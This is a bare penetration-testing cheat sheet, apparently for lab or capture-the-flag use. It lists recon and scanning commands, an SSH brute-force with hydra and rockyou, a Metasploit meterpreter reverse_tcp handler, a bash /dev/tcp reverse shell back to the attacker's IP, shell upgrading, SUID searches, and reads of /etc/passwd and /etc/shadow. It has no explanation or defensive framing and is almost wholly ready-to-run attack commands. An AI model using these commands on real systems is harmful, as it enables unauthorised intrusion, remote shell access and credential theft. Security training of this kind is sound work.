# Reconnaissance and Scanning
nmap -sC -sV -oN scan.txt [TARGET-IP]
rustscan -a [TARGET-IP]
whatweb http://[TARGET-IP]
gobuster dir -u http://[TARGET-IP] -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt
ffuf -u http://[TARGET-IP]/FUZZ -w /usr/share/wordlists/dirb/common.txt
nikto -h http://[TARGET-IP]
# Enumeration
enum4linux -a [TARGET-IP]
smbclient -L //[TARGET-IP]/
smbmap -H [TARGET-IP]
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://[TARGET-IP]
searchsploit [service/version]
# Exploitation
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST [YOUR-IP]
set LPORT 4444
exploit
# Manual Reverse Shell
nc -lnvp 4444
bash -i >& /dev/tcp/[YOUR-IP]/4444 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Privilege Escalation
sudo -l
id
whoami
find / -perm -4000 2>/dev/null
linpeas.sh
pspy64
# Post Exploitation
cat /etc/passwd
cat /etc/shadow
netstat -tulnp
history
crontab -l